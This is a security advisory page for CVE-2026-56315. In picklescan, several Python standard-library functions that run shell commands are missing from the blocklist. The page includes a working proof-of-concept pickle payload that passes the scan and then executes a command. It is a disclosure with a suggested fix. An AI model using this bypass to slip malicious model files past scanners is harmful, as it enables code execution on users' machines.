Browse / Unsafe Model Loading and Supply Chain / CVE-2026-56315
PickleScan has multiple stdlib modules with direct RCE not in blocklist
- Class
- Unsafe Model Loading and Supply Chain (filed by a model that read the advisory)
- Technique
- Unsafe deserialisation
- Affected
- picklescan (PyPI)
- Gets past
- Safe model loader or scanner
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- EPSS
- 1.1% chance of exploitation in 30 days
How it works, in short
The scanner's blocklist omits several standard library modules that can run shell commands, so pickles using them are reported as clean. (Our summary, written by a model. The source text is below.)
Details
Summary
picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.
Severity
Critical (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
Unblocked RCE Modules
| Module | Function | RCE Mechanism | picklescan Result |
|--------|----------|--------------|-------------------|
| uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args) | CLEAN |
| _osx_support | _read_output(cmdstring) | os.system() via temp file | CLEAN |
| _osx_support | _find_build_tool(toolname) | Command injection via %s | CLEAN |
| _aix_support | _read_cmd_output(cmdstring) | os.system() | CLEAN |
| _pyrepl.pager | pipe_pager(text, cmd) | subprocess.Popen(cmd, shell=True) | CLEAN |
| _pyrepl.pager | tempfile_pager(text, cmd) | os.system(cmd + ...) | CLEAN |
| imaplib | IMAP4_stream(command) | subprocess.Popen(command, shell=True) | CLEAN |
| test.support.script_helper | assert_python_ok(*args) | Spawns python subprocess | CLEAN |
All 8 functions are in Python's standard library and importable on all platforms.
Scanner Output
$ picklescan -p uuid_rce.pkl
No issues found.
$ picklescan -p aix_rce.pkl
No issues found.
$ picklescan -p imaplib_rce.pkl
No issues found.
Meanwhile:
$ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())"
uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)
Blocklist Analysis
picklescan v1.0.3's _unsafe_globals dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:
uuid— not blocked_osx_support— not blocked_aix_support— not blocked_pyrepl— not blocked_pyrepl.pager— not blocked (parent wildcard doesn't apply since_pyreplisn't blocked)imaplib— not blockedtest— not blockedtest.support— not blockedtest.support.script_helper— not blocked
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# uuid._get_command_stdout — arbitrary command execution
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("uuid") + sbu("_get_command_stdout") + b"\x93"
+ sbu("bash") + sbu("-c") + sbu("id")
+ b"\x87" + b"R" # TUPLE3 + REDUCE
+ b"." # STOP
)
# Scan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN
# Execute: runs `id` command
pickle.loads(payload)
Tested Against
- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release
- picklescan v0.0.21 — same result (modules never blocked in any version)
Impact
Any system using picklescan for pickle safety validation is vulnerable. This includes:
- HuggingFace Hub — uses picklescan server-side to scan uploaded model files
- ML pipelines — any CI/CD or loading pipeline using picklescan
- Model registries — any registry relying on picklescan for safety checks
An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.
Suggested Fix
Add to _unsafe_globals in picklescan:
"uuid": "*",
"_osx_support": "*",
"_aix_support": "*",
"_pyrepl": "*",
"imaplib": {"IMAP4_stream"},
"test": "*",
Architectural recommendation: The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:
1. Switching to an allowlist (default-deny) for permitted globals
2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues)
Resources
- picklescan source:
scanner.pylines 120-219 (_unsafe_globals) - Python source:
Lib/uuid.py,Lib/_osx_support.py,Lib/_aix_support.py,Lib/_pyrepl/pager.py,Lib/imaplib.py
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp
- https://nvd.nist.gov/vuln/detail/CVE-2026-56315
- https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb
- https://github.com/mmaitre314/picklescan
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules
Source: GitHub Advisory Database, used under CC BY 4.0.